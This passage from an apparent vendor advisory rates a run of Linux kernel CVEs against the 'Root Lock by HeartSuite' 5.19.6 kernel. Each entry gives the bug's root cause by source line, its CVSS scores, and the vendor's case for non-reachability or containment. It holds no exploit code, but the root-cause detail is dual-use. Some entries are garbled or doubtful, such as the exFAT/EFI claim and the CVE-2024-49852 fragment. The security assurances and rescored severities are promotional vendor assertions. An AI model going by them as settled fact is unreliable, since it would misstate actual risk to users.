In the i915 GT reset path, intel_gt_handle_error() at intel_reset.c:1309 calls synchronize_srcu_expedited() at line 1285 on gt->reset.backoff_srcu to drain concurrent SRCU readers before the GPU reset proceeds. The GuC engine failure worker (reset_fail_worker_func at intel_guc_submission.c:4485) queues via queue_work() at line 4545 and calls intel_gt_handle_error() asynchronously. A race between this deferred reset path and the hangcheck heartbeat — as reproduced by igt@i915_selftest@live@hangcheck on ADL-P (GuC submission) — can reach reset_prepare_engine() at intel_reset.c:743 and the WW-mutex backoff context via i915_gem_ww_ctx_backoff() (i915_gem_ww.c:42) after the owning structure has already been freed, producing a use-after-free.

CONFIG_DRM_I915=y is compiled in and HS 5.19.6 falls within the affected range. No Intel integrated or discrete display GPU is present on a standard Debian 11 server deployment. Without display hardware the DRM device nodes are not created, the GPU submission paths are not initialised, and the GuC engine failure worker that triggers this race is never scheduled. The vulnerable code path cannot be reached.

On a HeartSuite system with this hardware installed, Lockdown’s constraints would still apply after any escalation: FS_IOC_SETFLAGS returns EPERM (kernel/ioctl.c:561–569), every mount path returns EPERM (kernel/namespace.c:4218, 4300, 4453), and allowlist modification is blocked at hs_sandbox_caching.c:1942. Lockdown independently prevents any unauthorised program — including a backdoor dropped post-exploit — from executing regardless of file ownership or capability bits.

CVE-2024-42136

Status: Not exploitable Component: CD-ROM subsystem (CONFIG_CDROM) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CD-ROM drive absent on server Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/cdrom/cdrom.c, cdrom_read_cd() at line 2080 computes cgc->buflen = blocksize * nblocks and cdrom_read_block() at line 2104 computes cgc->buflen = blksize * nblocks. Both operands are int parameters, so the multiplication is evaluated as a signed 32-bit expression before being stored in the unsigned int buflen field of struct packet_command. When syzkaller passes a large nblocks value — for example, greater than 912,000 with the common CD_FRAMESIZE_RAW = 2352 block size — the intermediate product exceeds INT_MAX, signed integer overflow occurs, and an incorrect (smaller) buffer length is stored in cgc->buflen.

CONFIG_CDROM=y is compiled in and HS 5.19.6 falls within the affected range. No optical drive is present on a standard Debian 11 server deployment. Without this hardware the CD-ROM device nodes are not created and the ioctl paths that call cdrom_read_cd() and cdrom_read_block() are never reached. The vulnerable code path cannot be triggered.

On a HeartSuite system with an optical drive installed, Lockdown’s constraints would still apply after any escalation: FS_IOC_SETFLAGS returns EPERM (kernel/ioctl.c:561–569), every mount path returns EPERM (kernel/namespace.c:4218, 4300, 4453), and allowlist modification is blocked at hs_sandbox_caching.c:1942. Lockdown independently prevents any unauthorised program — including a backdoor dropped post-exploit — from executing regardless of file ownership or capability bits.

CVE-2024-44985

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In net/ipv6/ip6_output.c, ip6_finish_output2() saves idev = ip6_dst_idev(dst) at line 63. At line 72, skb_expand_head(skb, hh_len) makes room for the link-layer header; when allocation fails, skb_expand_head() frees the original skb and returns NULL. The idev pointer saved before the call now references memory associated with the freed skb. At line 74, IP6_INC_STATS(net, idev, IPSTATS_MIB_OUTDISCARDS) dereferences the stale idev — a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. Any local process that sends IPv6 network traffic can trigger the vulnerable allocation failure paths; no capability gate is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-44986

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In net/ipv6/ip6_output.c, ip6_xmit() saves idev = ip6_dst_idev(dst) at line 256. At line 271, skb_expand_head(skb, head_room) expands the buffer to accommodate the IPv6 header and IP options; when allocation fails, the original skb is freed and NULL is returned. The idev pointer is now stale. At line 273, IP6_INC_STATS(net, idev, IPSTATS_MIB_OUTDISCARDS) dereferences freed memory — a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. Any local process that sends IPv6 network traffic can trigger the vulnerable allocation failure paths; no capability gate is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-44987

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In net/ipv6/ip6_output.c, ip6_send_skb() at line 1943 saves rt = (struct rt6_info *)skb_dst(skb) without holding rcu_read_lock(). At line 1946, ip6_local_out() transmits the packet and may consume the skb, releasing the associated route. If ip6_local_out() returns a non-zero error code, lines 1951–1952 dereference rt->rt6i_idev — but rt is an RCU-protected pointer and may be freed before the dereference. Holding rcu_read_lock() for the duration of the rt dereference is required.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. Any local process that sends IPv6 network traffic can trigger the vulnerable allocation failure paths; no capability gate is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-46673

Status: Not exploitable Component: Adaptec aacraid SCSI driver (CONFIG_SCSI_AACRAID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

aac_probe_one() at drivers/scsi/aacraid/linit.c:1577 calls the hardware-specific init function pointer from aac_driver_ident, which eventually calls aac_init_adapter() at comminit.c:510. On failure, aac_init_adapter() frees dev->queues internally at line 644 (on aac_comm_init() failure) or line 651 (on aac_fib_setup() failure) before returning NULL. The aac_probe_one() error path at linit.c:1798 then calls kfree(aac->queues) a second time on the same pointer — a double-free.

CONFIG_SCSI_AACRAID is not set in the HS 5.19.6 configuration. The Adaptec aacraid RAID controller driver — including the vulnerable aac_probe_one() and aac_init_adapter() paths — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-46746

Status: Not exploitable Component: AMD Sensor Fusion Hub HID driver (CONFIG_AMD_SFH_HID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/hid/amd-sfh-hid/amd_sfh_client.c, the error cleanup path calls devm_kfree(dev, cl_data->report_descr[i]) at lines 259 and 276 to free the HID report descriptor before hid_destroy_device() at line 178. The amdtp_hid_parse() callback at amd_sfh_hid.c:32 accesses cli_data->report_descr[hid_data->index] during device initialisation or tear-down. If the descriptor is freed before hid_destroy_device() has completed its disconnect sequence — and the callback fires in that window — it dereferences freed memory.

CONFIG_AMD_SFH_HID is not set in the HS 5.19.6 configuration. The AMD Sensor Fusion Hub HID driver — including the vulnerable amd_sfh_client.c cleanup path and amdtp_hid_parse() callback — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-46747

Status: Not exploitable Component: Cougar HID driver (CONFIG_HID_COUGAR) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

cougar_report_fixup() at drivers/hid/hid-cougar.c:109 reads rdesc[2], rdesc[3], rdesc[115], and rdesc[116], and conditionally writes to rdesc[115]–rdesc[116] at lines 113–114, without first checking that *rsize >= 117. If the Cougar 500k Gaming Keyboard presents a report descriptor shorter than 117 bytes, the fixed-offset accesses go beyond the descriptor buffer, producing an out-of-bounds memory read/write.

CONFIG_HID_COUGAR is not set in the HS 5.19.6 configuration. The Cougar HID driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-46798

Status: Not exploitable Component: ALSA rawmidi subsystem (CONFIG_SND_RAWMIDI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_RAWMIDI not compiled Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In sound/core/rawmidi.c, snd_rawmidi_drain_output() at line 224 saves runtime = substream->runtime at line 228, then calls wait_event_interruptible_timeout(runtime->sleep, ...) at line 232, waiting up to 10 seconds for the output buffer to drain. If close_substream() runs concurrently and calls snd_rawmidi_runtime_free(substream) at line 528 — freeing substream->runtime — while the drain wait is still sleeping, the runtime pointer saved at line 228 becomes dangling. When the wait exits, accesses to runtime->avail and runtime->buffer_size at line 237 use freed memory.

CONFIG_SND_RAWMIDI is not compiled in the HS 5.19.6 configuration — no enabled driver selects it. The vulnerable rawmidi.c code path does not exist on this system.

CVE-2024-46849

Status: Not exploitable Component: Amlogic Meson ASoC driver (CONFIG_SND_MESON_CARD_UTILS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In sound/soc/meson/axg-card.c, axg_card_add_loopback() at line 107 saves pad = &card->dai_link[*index] — a pointer into the current dai_link array. At line 113, meson_card_reallocate_links() calls krealloc() on card->dai_link, potentially moving the array to a new address and freeing the original buffer. At lines 119 and 133, pad->name and pad->cpus->of_node are accessed through the now-dangling pad pointer. The fix moves the pad assignment to after the reallocation, where card->dai_link has been updated.

CONFIG_SND_MESON_CARD_UTILS is not compiled in the HS 5.19.6 configuration — the Amlogic Meson ASoC platform requires ARCH_MESON which is not set on x86. The vulnerable code path does not exist on this system.

CVE-2024-47682

Status: Not exploitable Component: SCSI subsystem (CONFIG_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — non-conformant VPD firmware absent; standard SAS/SATA drives conform to SCSI spec Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

If a device returns VPD page 0xb1 with a length of exactly 8 bytes (as QEMU v2.x does), sd_read_block_characteristics() proceeds past the guard at drivers/scsi/sd.c:2921 (vpd->len < 8), then reads vpd->data[8] at line 2927. With len == 8 the valid indices are 0–7; index 8 is one byte past the end of the buffer.

CONFIG_SCSI=y is compiled in and HS 5.19.6 falls within the affected range. The OOB read occurs during device enumeration when a SCSI disk returns VPD page 0xb1 with a length of exactly 8 bytes — behaviour documented in QEMU v2.x, not present on production SAS/SATA/NVMe drives. Standard enterprise storage conforms to the SCSI VPD specification and returns page 0xb1 with the correct length. On a Root Lock by HeartSuite server deployment, no non-conformant storage device is present; the OOB read path in sd_read_block_characteristics() is never reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-47701

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

When ext4 searches an inlined directory, ext4_find_inline_entry() at fs/ext4/inline.c:1709 calls ext4_get_inline_xattr_pos() to locate the extended-attribute portion of the inline data. At inline.c:1077, that function returns IFIRST(header) + le16_to_cpu(entry->e_value_offs) without validating that the offset stays within the inode body buffer. A crafted block device can supply an e_value_offs that pushes the resulting pointer out of bounds; that pointer is then passed directly to ext4_search_dir() at line 1712, causing an OOB memory access.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; inlined directory processing runs for any small directory during normal operation. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49852

Status: Not Affected — CONFIG_SCSI_EFCT not compiled Component: Emulex EFC FC driver (CONFIG_SCSI_EFCT) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_EFCT not compiled in HS kernel

The kref_put() function will call nport->release if the refcount drops to zero. The nport->release release function is_efc_nport_free() which frees “nport”

CONFIG_SCSI_EFCT is not set in the HS 5.19.6 configuration. The Emulex EFC Fibre Channel target driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-49882

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In ext4_ext_try_to_merge_up() at fs/ext4/extents.c:1871, brelse(path[1].p_bh) releases the depth-1 extent block buffer but leaves path[1].p_bh non-NULL. When the caller subsequently runs cleanup via ext4_ext_drop_refs(), it iterates the path and calls brelse() on every non-NULL p_bh, releasing the same buffer head a second time — a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; extent tree merge-up runs during any truncate or extent modification on a two-level extent tree. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49883

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In ext4_ext_insert_extent() at fs/ext4/extents.c:2094, the call to ext4_ext_create_new_leaf() may internally call ext4_ext_grow_indepth(), which reallocates the path array via kcalloc(). After the call returns, the caller continues using the original path pointer — now stale — causing a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; extent insertion runs during any file write that extends or modifies the extent tree. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49884

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In ext4_split_extent_at() at fs/ext4/extents.c:3178, the function saves the path pointer as path = *ppath. At line 3248 it calls ext4_ext_insert_extent(handle, inode, ppath, ...), which may reallocate *ppath, freeing the memory that path still points to. Subsequent uses of path at lines 3281, 3282, 3301, and 3304 — in both the success and error-recovery branches — dereference the now-freed pointer, constituting a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; extent splitting is triggered during any write that bisects an existing extent. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49889

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

ext4_find_extent() at fs/ext4/extents.c:874 takes an optional **orig_path argument allowing callers to reuse an existing path allocation. On two code paths it frees the old allocation: when the tree depth has grown beyond the cached maximum (lines 898–901, kfree(path); *orig_path = NULL) and on any I/O or corruption error (lines 953–957, same sequence). Callers that save a local path = *ppath copy before invoking a sub-function that internally calls ext4_find_extent() — such as ext4_split_convert_extents() — retain a pointer to the freed memory. Subsequent use of that stale pointer constitutes a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; any extent-modifying write that triggers a tree depth change or encounters a read error while holding a saved path pointer is a triggering condition. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49960

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; do_mount() returns EPERM Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In ext4_fill_super() (fs/ext4/super.c), timer_setup(&sbi->s_err_report, ...) runs at line 4995 and INIT_WORK(&sbi->s_error_work, flush_stashed_error_work) at line 4997. During the failed_mount3: error-unwind at line 5454, flush_work(&sbi->s_error_work) is called at line 5456 immediately before del_timer_sync(&sbi->s_err_report) at line 5457. The work callback flush_stashed_error_work can call mod_timer on s_err_report, arming the timer during the same unwind that is about to cancel it. When the code path passes through failed_mount_wq: (line 5439), flush_work runs a second time at line 5448 before falling through to failed_mount3:, doubling the exposure. Syzbot detected this as an ODEBUG (Object Debug) object-state inconsistency.

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. The vulnerable path runs during a failed mount — for example when ext4_es_register_shrinker() or journal loading fails partway through ext4_fill_super(). On a Root Lock by HeartSuite system, sys_hs_lockdown_hs() blocks all mount paths at kernel/namespace.c:4218, 4300, 4453; do_mount() returns EPERM before any filesystem setup begins. No approved process in the HS allowlist carries a mount allowlist entry, and unapproved programs are refused execution by the kernel’s SPF gate regardless of file ownership or privilege. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-49983

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; do_mount() returns EPERM Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In ext4_ext_replay_update_ex() at fs/ext4/extents.c:5860, line 5879 assigns ppath = path, making both local variables alias the same allocation. Line 5881 then calls ext4_force_split_extent_at(NULL, inode, &ppath, start, 1), passing the address of ppath. Inside, ext4_split_extent_at() calls ext4_ext_insert_extent() which may invoke ext4_ext_grow_indepth() and reallocate *ppath via kcalloc(). When that happens, the outer ppath is updated to the new allocation and the original memory is freed — but path still holds the original (now stale) pointer. The kfree(path) call at line 5885 then frees already-freed memory, constituting a double-free/use-after-free. The bug is exercised during fast-commit journal replay.

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. The vulnerable path runs during fast-commit journal replay, triggered on mount after an unclean shutdown of a filesystem with the fast-commit feature enabled. On a Root Lock by HeartSuite system, sys_hs_lockdown_hs() blocks all mount paths at kernel/namespace.c:4218, 4300, 4453; do_mount() returns EPERM before any filesystem setup begins. No approved process in the HS allowlist carries a mount allowlist entry, and unapproved programs are refused execution by the kernel’s SPF gate regardless of file ownership or privilege. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-50007

Status: Not Affected Component: ASIHPI soundcard driver (CONFIG_SND_ASIHPI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_ASIHPI not compiled

The ASIHPI driver writes firmware-controlled index values into a static array without bounds-checking the index. CONFIG_SND_ASIHPI is not set in the HS 5.19.6 kernel configuration; the driver and this code path are absent from the compiled kernel image.

CVE-2022-48951

Status: Not Affected Component: ALSA SoC layer (CONFIG_SND_SOC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_SOC not compiled

snd_soc_put_volsw_sx() applies bounds checks only to the first channel, allowing out-of-bounds writes to the second. CONFIG_SND_SOC is not set in the HS 5.19.6 kernel configuration; the ALSA SoC layer and this function are absent from the compiled kernel image.

CVE-2022-48956

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

ip6_fragment() at net/ipv6/ip6_output.c:831 handles IPv6 packet fragmentation. The function and its callees access RCU-protected routing and neighbor table entries; a prior commit added an assumption that all callers hold the RCU read lock at entry. For the IPv4-style fast path via ip6_finish_output2() this holds — rcu_read_lock_bh() is acquired at line 119. However the UDP egress path (ip6_send_skb() at line 1940 → ip6_local_out() → ip6_output() → ip6_finish_output() → ip6_fragment()) does not guarantee the lock is held before entry into the fragmentation code. Under concurrent route or neighbor table modification this produces a use-after-free. Syzbot confirmed the race.

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. IPv6 is active on any Debian 11 server that has IPv6 addresses configured; the UDP-over-IPv6 fragmentation path is reachable by any process with a UDP socket. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2022-49022

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In ieee80211_get_rate_duration() at net/mac80211/airtime.c:455, airtime_mcs_groups[group].duration[idx] is accessed where group is computed from bandwidth, stream count, and encoding mode via the VHT_GROUP_IDX/HT_GROUP_IDX/HE_GROUP_IDX macros. The stream-count bounds check at line 451 guards one dimension, but an invalid combination of bandwidth and stream count can produce a group index that exceeds the airtime_mcs_groups array bounds, triggering a UBSAN array-index-out-of-bounds read.

CONFIG_MAC80211=y is compiled in. No WiFi NIC is present on a Debian 11 server deployment; mac80211 creates no wireless interfaces without hardware and this code path is never reached. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or preserve access across a reboot.

CVE-2022-49023

Status: Not exploitable Component: cfg80211 wireless framework (CONFIG_CFG80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In net/wireless/scan.c:338, when merging per-STA profile elements in the multi-BSSID path, the code calls memcmp(tmp_old + 2, tmp + 2, 5) to compare the OUI (3 bytes) + type (1 byte) + subtype (1 byte) of a vendor element, without first checking that either IE has at least 5 bytes of data. A vendor element with fewer than 5 data bytes causes an out-of-bounds read beyond the element buffer.

CONFIG_CFG80211=y is compiled in. No WiFi NIC is present on a Debian 11 server deployment; cfg80211 creates no wireless interfaces without hardware and this code path is never reached. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or preserve access across a reboot.

CVE-2024-50278

Status: Not Affected Component: dm-cache (CONFIG_DM_CACHE) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_DM_CACHE not compiled

If the cache device is expanded between initial load and first-time resume, the bitsets (dirty_bitset, discard_bitset) allocated in dm-cache-target.c are sized to the pre-expansion block count. On resume, cache-block indices derived from the new device size exceed the allocated bitset bounds, causing an out-of-bounds access. CONFIG_DM_CACHE is not set in the HS 5.19.6 kernel configuration; the dm-cache target and this code path are absent from the compiled kernel image.

CVE-2024-50279

Status: Not Affected Component: dm-cache (CONFIG_DM_CACHE) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_DM_CACHE not compiled

When shrinking the fast (cache) device, dm-cache iterates the dirty_bitset to identify cache blocks that must be flushed before being dropped. An index error in the bitset iteration produces a bit index that exceeds the allocated bitset bounds, causing an out-of-bounds access. CONFIG_DM_CACHE is not set in the HS 5.19.6 kernel configuration; the dm-cache target and this code path are absent from the compiled kernel image.

CVE-2024-53147

Status: Not exploitable Component: FAT/exFAT filesystem (CONFIG_FAT_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Score on HeartSuite: 0.0 — Lockdown blocks mount(); no adversary-controlled FAT filesystem reachable Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In fs/exfat/dir.c, when iterating directory entries, the cluster-walk loop at line 105 calls exfat_get_next_cluster(sb, &(clu.dir)) to follow the FAT chain. If a directory’s size is at least one cluster (so clu_offset > 0) and ei->start_clu was set to EXFAT_EOF_CLUSTER (0xFFFFFFFF) due to filesystem corruption, clu.dir starts at 0xFFFFFFFF. The call at line 106 then attempts a FAT table lookup at index 0xFFFFFFFF, which is far outside the FAT table’s num_clusters entries, causing an out-of-bounds read.

CONFIG_FAT_FS=y is compiled in and HS 5.19.6 falls within the affected range. exFAT is compiled in and is used for the EFI system partition; the vulnerable path is triggered by traversing a corrupted exFAT directory. The adversary must be able to present a crafted exFAT image — mounting an external device or network share requires mount(), which Lockdown blocks unconditionally. The EFI system partition is already mounted at boot time and its contents are controlled by the administrator; an external attacker cannot inject a malformed exFAT directory into the in-use ESP. On a Root Lock by HeartSuite system in Lockdown, the kernel additionally blocks any process without an allowlist entry from executing, closing the exploitation path before it can reach the vulnerable directory traversal code.

CVE-2024-53150

Status: Not Affected Component: USB audio driver (CONFIG_SND_USB_AUDIO) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_USB_AUDIO not compiled

